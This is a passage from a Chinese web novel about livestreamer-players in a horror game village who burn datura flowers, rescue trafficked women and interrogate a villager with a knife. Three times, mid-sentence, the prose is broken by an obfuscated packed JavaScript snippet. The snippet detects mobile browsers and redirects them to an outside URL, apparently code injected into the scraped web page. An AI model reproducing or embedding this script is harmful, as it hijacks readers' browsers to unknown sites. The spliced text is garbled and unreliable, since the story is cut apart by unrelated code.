【不容易啊，马大爷终于聪明了一次。】 【王主播梅开二度啊，又没把最关键的情报说出来，这次不会是想借乌云和张丽康的手杀柯主播吧。】 【不是，王主播怎么每次情报都不收情报费？太大方了吧。】 【王主播的天赋也太逆天了，直接掌握通关情报啊，希望下个副本把我分到王主播所在的副本里。】 ...... “今晚乌云和张丽康挑选攻击对象的规则是什么？”柯清意忽然开口问道。 王堂然摇了摇头：“不知道，评论里没写。” 见众人的眼神慢慢变得怀疑起来王堂然补充道：“评论就60个字，你们以为能写多少情报。重点就写了昨夜的考验和床上有被拐卖女孩，烧寻人启事可以看见她们的情报。所以今晚能离开副本就离开副本，不然明夜的考验我也不知道了。” 众人又陷入了沉默。 他们也想今夜就离开，但眼下只确定了27张寻人启事，他们今夜的暗线任务能不能达到70％都说不准。 “我有一个猜测。”柯清意说道。 秦晓樾问：“什么猜测？” 柯清意说：“昨夜张丽康不知道其他被拐卖女孩被卖给了村里哪些人家，是因为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874114|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意识还处于被囚禁状态，还没卖给乌云，所以她对乌老头家以外的事情一无所知。” “可她昨晚记得自己要逃离乌山村啊，这不是她笔记本里写的内容吗？”梁雨秋不解，“如果她还处于被囚禁状态，她怎么会知道五年后笔记本上的内容？” 柯清意摇头：“这是个误区。” 梁雨秋愣住：“什么意思？” 柯清意解释道：“对于张丽康来说，乌山村是地狱这个认知在她被囚禁，或者说是刚进入乌山村时就有的了，是她一直保留了五年并写到笔记本上的认知。” “所以昨夜她只知道第一重地狱，而不知道第二重地狱，也不知道其他被拐卖女孩的事情。” “但今夜她们的状态应该是被卖给村民的状态，相对应的，我们的状态也是，所以今夜的张丽康和其他被拐卖女孩应该能知道一些线索。” “所以，王堂然刚才提出的建议是可行的。” 顿了顿，没给众人消化猜测的时间，柯清意接着说道：“而且，今夜应该是由婴儿鬼怪考验我们。” “什么？！”众人惊讶道。 柯清意说：“乌云和张丽康已经进来了乌老头家，不附身在我们中肯定出不去乌老头家，所以只会是婴儿鬼怪来考验我们。” 27. 山村爱情（二十七） 片刻后，村里传来了村民此起彼伏的喊叫声—— “着火了！村委会着火了！” “快来人救火啊！” 喊叫声一直往两边的山林蔓延开，一波高过一波。 离村委会近的村民已经提着水桶跑到大门口了，他们的脸上写满了焦急与担忧。 然而，那些村民还没走到起火的办公楼前，就咚的一声昏倒在地，提来救火的水也泼洒在地上。 众人都被曼陀罗花的昏迷效果震惊到了，默默捂紧了自己脸上的防毒面罩。 眼见越来越多来救火的村民昏倒在空地上，老方担忧道：“会不会闹出人命？” 曼陀罗花燃烧后的有毒气体，吸入过多能致死。 柯清意也没预想到事情的走向会是这样，拧了拧眉，转身想朝楼下走去，却被王堂然拉住了手臂。 他说：“这是副本的正确解法，不用担心。” 柯清意疑惑地转头看向他。 “你看——”王堂然指着从两边山林里跑出来的村民说，“那些村民从山林里跑出来后，第一件事不是就近取水来救火，而是都往自个家里跑，去提水来救火。他们也没先抢救那些已经昏倒了的村民，说明他们都是在按照设定好的程序来做事，也就是说——用曼陀罗花制造大火是这个副本的正确解法。” 王堂然解释完，盯着柯清意，目光极为复杂。 他没想到，柯清意一个新人，第一次过副本就能误打误撞解锁副本的正确解法，该说她是运气好，还是有天赋？ 众人直播间也在惊讶—— 【我去，《山村爱情》副本的正确解法竟然是这样的......这谁能想得到啊？！】 【怪不得乌山村里长着这么多的曼陀罗花，原来是伏笔，但我一直都没看出来。】 【敢情我之前过这个副本，就失败在不认识曼陀罗花？？？】 【人之常情，我问了好些朋友，他们也都不知道曼陀罗花长什么样。】 “即使是正确解法，村委会里的曼陀罗花也明显多了，再烧下去，那些村民都会死。”柯清意说。 王堂然皱眉道：“他们本来就是有罪之人，死了也是罪有应得。” 他这话说得没什么错，但不符合柯清意的行事准则，比起当一个清道夫，她更喜欢“冤有头债有主，自己的仇自己报”。 她甩开王堂然的手，冷声道：“他们的罪恶应该由受害者来亲手终结，而不是葬入火海，散于无形，只留一句‘他已经死了’给受害者。” 说完，柯清意便转头下了楼梯，老方和秦晓樾互相对视一眼，也跟着她下了楼。 王堂然、杨雪依和肖平巍三人被心动手环限制着距离，见状，也只得不情不愿地跟上了他们。 结果，一拖二，二拖三，所有人都下了楼，重新来到了村委会大门口。 柯清意一边避开昏倒在地上的村民往里走，一边对直播间观众说道：“我需要灭火器，越多越好。” 直播间所有观众：“......” 【不是，我能自己给，但主播你不能自己开口要啊。】 【就冲小柯主播打出这个副本的正解，我高低都得送两个灭火器奖励奖励她。】 【别救村民啊，让他们死！】 柯清意取出观众打赏的三十六个容量不一、类型不一的灭火器放在空地上，对后面跟上来的十人说：“自取，注意安全。” 说完，也不管他们是什么反应，径自提起一个干粉灭火器朝中间办公楼走去。 走廊上铺展着的曼陀罗花正在熊熊燃烧，柯清意在五米开外的地方停下脚步，用力摇了摇手中的灭火器，随即迅速拔开保险销，对准火焰根部开始喷射。 霎那间，类白色的干粉如喷泉般涌出，吞噬了冒着滚滚浓烟的火舌。 火势诡异地大，灭得也诡异地快。 众人提着灭火器，沿着铺展在走廊和每个房间里的曼陀罗花一路按压过去。 十几分钟后，众人灭完了火，重新汇合在空地前面。 火光虽已熄灭，但充斥在乌山村空气中的有毒烟雾一时难以消散，通过呼吸持续侵入村民体内，一个接一个地放倒他们。 空地上、小路上东倒西歪躺着好些村民，有男有女。 村民是罪有应得，但那些被拐卖女孩是无辜的。 柯清意担心她们吸入有毒气体过量而死，边将剩余的六瓶灭火器收回面板饭碗中，边安排接下来的行动—— “秦晓樾、肖平巍、梁雨秋、陈壮你们四个去旁边的村房里找四辆牛车来拉人。” “其余人用绳子先把地上的女人都绑起来，把她们搬到小路上，等着牛车来拉。老方、杨雪依你们两个尽量站在外围，如果看见来救火的村民有没晕倒且试图逃跑的，直接弄晕他们。” “好。” 众人或应声，或点头，或沉默，都按照安排开始各自的行动。 这次还没等柯清意开口要，饭碗里就出现了很多种类的绳子图标。 柯清意不禁感叹：直播间的观众不仅贴心，还十分上道。 她照例把所有绳子都取出来堆在地上，供其他人取用。 见状，王堂然唇角勾起一抹冷笑，隔着防毒面罩意味不明地说：“你倒是大方，就不怕其他人把你的物品贪了？” 就像刚才的灭火器一样，虽然容量不一，一千克、四千克、六千克、十二千克的都有，但平均下来，都能换算成六千克以上的干粉灭火器，相当于一瓶的剂量能灭30-60及更多平方米的火。 按照村委会三栋办公楼铺展开的着火面积来看，最后只剩下八瓶小剂量的灭火器显然不合理，只能说明是有人偷偷贪了好几瓶灭火器。 这就是人性，救人命的东西也能贪。 “贪不贪的，自有观众看着。”柯清意语气十分平静，似乎对这种事真的毫不在意。 她边绑人，边接着说：“还有，你说错了，不是我大方，是我直播间的观众大方。” 为了以后的幸福生计，柯清意多说了一句奉承观众的好话。 王堂然：“......” 呵，狗腿！ —— 乌山村里的女人比男人少，此时昏倒在空地和小路上的女人有86个，男人有193个。 柯清意七人花了十多分钟才将女人全部绑好，不同于之前绑那两个男人用的手脚朝后相连绑法，他们用了普通常见的手脚分离绑法，来绑这些女人。 把她们全都搬到小路边后，正巧出去找牛车的四人折回来了。 秦晓樾走在最前面，拉着一辆老黄牛牛车。 走近后，她说：“我们去的几间村房里，还有些老人、小孩和女人，也全部都昏倒了。看他们的动作应该也是想来救火，只是还没来得及出门就被散发在空气中的毒气迷昏了。” 柯清意说：“先把这些拉到乌老头家，再逐一搜查村房。” “好。”秦晓樾点头。 四辆牛车，每辆勉勉强强只能装下八九个女人，秦晓樾四人只得来回多跑几趟。 他们四人拉着牛车沿着小路离开后，柯清意七人继续用绳子绑昏倒在地的193个男人。 ...... 手机上的时间跳动到18：52分，众人才忙完一切，赶着最后一趟拉人的牛车回到了乌老头家。 因为再过半个小时，天就快黑了，再加上众人没有看见一个清醒着的村民，就没有像之前计划好的一样，留几人在那看守，而是全都回了乌老头家。 老方和秦晓樾先后进了厨房，给大家准备晚饭，而其他人则开始搬移牛车上拉着的人。 除了在村房里搜寻到的女人外，柯清意还拉回了一个五旬男人，他是乌云的邻居。 柯清意打算盘问他一些张丽康的事。 “怎么弄醒他？” 陈壮把男人粗暴地扔在地板上，取下脸上的防毒面罩，问正抬着最后一个昏迷女人进堂屋的柯清意。 “他离村委会远，吸入的毒气不多，用冷水就能泼醒。”柯清意说。 “OK。” 陈壮点点头，转身走进厨房，片刻后用铁菜盆端了一盆凉水出来，全部倒在了男人脸上。 “啊啊啊——！” 男人被扑面的凉意惊醒，发出惊叫声，想挣扎着坐起身来，手脚却被反绑在了背后，只能狼狈地侧趴在地上。 陈壮不知道现实中是干什么的，对于盘问拷打的流程似乎十分熟练。 他从面板中取出匕首，蹲下身体，左手抓住男人的头发将其上半身扯带起来，右手用匕首侧面轻轻划过男人的脖子，盘问道：“十几年前你有个邻居，叫乌云，还记得吗？” “记......记得。”男人惊恐地点了点头，身体抖成了个筛子。 陈壮又问：“那他媳妇张丽康，你记得吗？” 然而，这次男人却摇了摇头：“不、不记、记得。” “你敢骗老子！”陈壮粗眉一横，握着匕首在男人左脸上划了一刀，鲜血顺着皮肤流到下颚，又滴落到地板上。 “不......不是......”男人惊恐地瞪大了眼睛，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918976|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌云、乌云媳妇不叫张、张丽康，叫......叫乌娇软。” 乌娇软？ 在场的众人听到这个陌生的名字怔愣了一秒，接着很快都反应过来了——乌娇软应该是张丽康被卖给乌云后的名字。 “真难听。”余小豆露出了十分嫌弃的表情，“娇......软......这是用哪个头起的名字，难听死了，一点都比不上张丽康这个名字。” “我也觉得。”梁雨秋附和道，“丽康丽康，鲜丽安康，多美好的名字。” 可惜她的人生没能像她的名字一样，鲜丽安康一辈子。 柯清意取下防毒面罩，收回面板饭碗中，走到男人身前蹲下，对陈壮说：“松开他。” 陈壮皱了皱眉，但碍于柯清意这两天的表现，他还是依言松开了抓住男人头发的手，走到一旁的长凳上坐下，静观其接下来的举动。 只见柯清意替男人解开绳子，扶着他到长凳上坐下，语气平淡地开口：“你认识的乌娇软本名叫张丽康，你好好回忆回忆下十六七年前有关张丽康和乌云的事，我问你答，明白吗？” 男人扫了一眼堂屋里或站、或坐着的九人，哭丧着脸：“明、明白。” 柯清意问：“张丽康和乌云的孩子是哪一年出生的？” 男人回忆了一下，说：“乌娇......” “铮——” 匕首用力插进长桌的声音打断了男人念出口的那个名字。 他扭头看向贴着他肩膀直直插下去的匕首，有些后怕地咽了口唾沫，眼神中闪烁着惊恐。 “她叫张丽康，你叫她张丽康。接下来你要是念错一次，匕首就会离你更近一分，明白吗？”柯清意威胁道。 “明白......明白。”男人点头如捣蒜，“孩子是......是张、张丽康嫁、嫁给乌云的第四年出生的。” “嫁？”柯清意嗤笑出声。 不情不愿，拐来卖去，也好意思说成是嫁？ 男人僵住身体，以为自己又说错了什么话，会被匕首穿肩，但柯清意懒得跟他掰扯这个问题，继续问道：“张丽康、乌云和那个孩子是怎么死的？” 男人眼神瑟缩了一下，摇头：“不......不知道......啊啊啊——！” 匕首插过手掌，钉在长桌上，男人痛得惨叫起来。 其余八人都被柯清意狠辣决绝的动作惊了一下，目光各异地打量着她。 柯清意没有理会，而是又问了男人一遍：“张丽康、乌云和那个孩子是怎么死的？实话实说，我不会杀你。” 男人沉默了好几秒后，才颤抖着声音说：“他们想、想离开乌山村，违反了村、村规。乌云被、被剥皮，乌、不是......” 差点又念错名字，男人惊恐地看了柯清意一眼，见她没有动作，才接着说：“张丽康是、是嫁给另一个男人后，被乌云鬼魂拖下水塘淹、淹死的。” 柯清意：“鬼魂？” “是。”男人断断续续地说，“自从乌云死、死后......村子里就出现了很多怪、怪事.....接连死了十多个人，都.....都跟张丽康有过接触。后、后来乌老头从外面请、请了个老道士进来.....说是乌云的鬼魂在作.....作祟，他对张丽康有执念，要带、带张丽康一起走.....乌老头为了村里人的安危，就把、把张丽康淹死在了水塘里.....” 堂屋陷入一片沉默，到现在，众人终于弄清楚了张丽康的死因，心里对她愈发同情和怜悯起来。 “那每家每户门上涂着的血是怎么回事？”柯清意问道。 “那个老道士说......张、张丽康怨气很大，死后容易变、变成厉鬼回、回来找村里人报仇，就让村里人把他们一岁大孩、孩子的血放、放干，涂在每家的大门上，这样......张丽康晚上就进不去房子里。” 男人的说话声越来越小，不知是因为羞愧，还是因为害怕。 柯清意原本以为每家门上涂着的血是乌云的，没想到竟是那只婴儿鬼怪的。 前因后果差不多都弄清楚了，柯清意便把男人重新绑起来，用脏抹布堵住嘴，关进了乌老头的房间里。 “来吃饭吧。”老方见柯清意盘问完了，便从厨房里端着饭菜走出来。 晚饭是一锅白粥加一道青菜汤，一盘醋溜土豆片，跟午饭的味道大同小异。 忙碌了一天的众人也不挑剔，把粥菜都吃得干干净净。 “现在——”余小豆放下碗筷，隔着长桌盯着王堂然说，“你可以说今晚的考验了吧。” 28. 山村爱情（二十八） “可以。” 王堂然放下碗筷，从衣兜里掏出张纸巾擦了擦嘴，才说出了评论里有关今夜考验的情报：“三夜出门救友，限时十分钟。” 出门救友？ 众人在心里默默重复了一遍，老方开口替众人问出心里的猜测：“难道我们今夜的考验是在乌老头家外面进行？” 王堂然：“大概是。” “你看见的那条评论里没说去哪救吗？”马大爷急忙问道。 王堂然：“我猜......应该是去村民家里。” 马大爷思考了两秒，明白了王堂然这么猜测的原因，顺着他的猜测问道：“你的意思是，今夜的考验是我们中有六......五......额......个人被卖给村民，而其他人需要在十分钟内救出各自的队友？” 王堂然有些意外地看了马大爷一眼，点头道：“对，今夜的考验内容应该是基于‘卖’这个字展开的，正好能接上昨夜考验的‘拐’和‘囚禁’内容。” 既有评论关键词的提示，也能接上前一夜的考验内容，众人心里几乎已经默认了今夜的考验就是马大爷刚才说的那样...... “等等——” 陈壮忽然想起了一个问题，紧紧皱着眉头说道：“那些村民不是都已经昏迷了吗......今夜的考验还能正常进行吗？” 众人：“......” 差点忘记还有这回事了。 “能。”柯清意笃定道，“我们经历考验时，应该不是在真实的副本世界，而是在一个时间混杂的虚幻世界，就像昨夜所有不同时间节点被拐卖女孩的灵魂都同时出现在了我们眼前。所以今夜我们经历考验时，遇见的村民不会是现在昏迷的那些村民。” 众人想了想，觉得柯清意说得挺对。 因为今早起来，他们都发现昨夜床头架子上被割断的麻绳消失不见了。 麻绳、被拐卖女孩的灵魂都是属于考验世界里的内容。倒计时归零，考验结束，这些东西自然都会跟着消失。 “这样的话......”陈壮说，“我们今夜岂不是得在考验结束之前，也就是十分钟之内，把所有的寻人启事都交给那些被拐卖女孩？” 这根本不可能做到。 他们今天拉回来的女人足足有124个，几乎躺满了乌老头的整个家。 一张一张地试寻人启事跟124个人中的谁对应，十分钟的时间根本不可能做到，更别提他们还要出门去救队友，完成考验。 “第二夜考验的时间不会只有十分钟。” 说话的是余小豆，她平时虽然毒舌怼人爱翻白眼，但正经起来讨论事情的时候，总是透露出一股与年纪不符的沉着冷静。 她说：“你别忘了，昨夜的考验有两个——一个是在三十分钟内解救队友；一个是存活到第二天早上，倒计时有六个小时。所以今夜应该也是两个倒计时：解救队友的十分钟倒计时和另一个未知任务的倒计时，我们只要在长倒计时归零之前把寻人启事交给相应的被拐卖女孩就行。” 被一个女高中生反驳纠正，陈壮有些抹不开面子，随便嗯了一声，转移开话题：“即使这样，我们救队友的时间也不太够。” 需要出门救友的人并不知道队友被‘卖’给了哪间村房里的村民，只能一间一间的搜查。 乌山村有一百二十多间村房，他们救队友的时间却只有十分钟，相当于一分钟要查探十二间以上的村房。 要是运气好，搜查个一二十间就找到了队友还好；要是运气不好，说不定跑断腿也没法在十分钟内找到队友。 秦晓樾想到了一个办法，说：“出门救友的人能不能分组搜查，一人搜查二十多户，如果遇见了其他人的队友，就用扩音喇叭通知其他人。” 众人闻言互相看了一眼，心思各异，没有说话。 见状，秦晓樾不解地问道：“这个办法不行吗？” “这个办法.....”柯清意回她，“太天真了，只适合没有私心、或者关系很亲的团队用。” 像他们这种临时组起来的团队，彼此之间多少带着点防备和算计，随时都有可能互相出卖，互相捅刀子。 看见其他人的队友却隐瞒着不通知其他人，这事在他们这个团队之间发生的概率......还是有的。 经柯清意提醒，秦晓樾也想通了这点人性，失望地说：“那怎么办？被‘卖’给村民的人面板应该跟昨夜一样，也用不了......咦——” 秦晓樾眼睛一亮，又想到一个办法：“那能不能把喇叭从面板里先拿出来，这样的话，即使面板用不了，也能自己用喇叭通知队友。” “这个办法可以试一试。”柯清意说，“不管我们中哪几个人是被救的，都不要坐以待毙，尽量闹出点动静来，方便队友缩小搜查范围。” 众人也都明白这个道理，各自沉思着用什么办法能闹出动静来。 “那林瑚......你......”老方出声打破沉默，皱眉看着林瑚，语气有些担忧，“你没有队友......怎么通过考验？” 林瑚摇摇头说：“我也不知道。” 老方：“要不你从面板里买一个一次性的保命物品？” 话一出口，老方就后悔了。 因为面板里一次性的保命物品要三千个金币以上，大部分C级副本的主播都还没这个购买力。 果然，林瑚扯出一个苦笑：“太贵了，我没那么多金币，就这样吧，说不定我运气好呢。” 闻言，老方叹了一口气，没再说话。 收拾好碗筷后，众人又开始进行寻人启事的大致比对工作。 他们先是把已经跟寻人启事对应上了的25位被拐卖女孩单独移到堂屋的一边，才拿着剩下的27张寻人启事跟99位昏迷女性一一比对。 经过一个多小时的比对和讨论后，众人又多对应上了8张寻人启事，还剩19张寻人启事没找到对应的被拐卖女孩，只能等考验开始一一交给她们试了。 能做的准备工作已经做完，众人便上了楼，简单洗漱过后回了各自的房间。 柯清意在地铺的最里边躺下，从面板里取出了一个扩音喇叭，想了想，又取出了一把匕首。 左手拿着喇叭，右手拿着匕首，柯清意闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的身体为什么动不了了？ 柯清意试着动了动手指，撑在地板上的十根手指沿着地板抓握了起来。 手指能动...... 她接着尝试用手撑着地板站起身来，手撑着地板能用力，但身体却像是灌了铁铅一样，重得动不了分毫。 为什么手能动，身体却不能动？ “臭娘们，你捏拳头想干什么？！不服气？嗯？还是你想打老子？呸！老子看你是活腻了！” 眼见男人一边怒骂，一边又要抬脚踹自己，柯清意连忙说道：“不是，不是想打你。” 男人听见了她说的话，但还是抬脚又朝她肩膀上踹了一脚。 没有什么理由，这女人是他花钱买回来的赔钱货，他想踹就踹。 踹完后，男人才问：“那你捏拳头是什么意思？不服气？” 柯清意不想再惹怒这个男人，低下头摇了摇。 一双明亮冷清的眼睛却盯着面板上第一个不断减少的倒计时—— 【倒计时：00：08：26】 【倒计时：00：08：25】 十分钟的倒计时已经跳动了九十多下，柯清意暂时还没有听到附近两三百米内有主播搜查村房的动静。 她强迫自己冷静下来，想想用什么办法能在这间村房里弄出点动静来。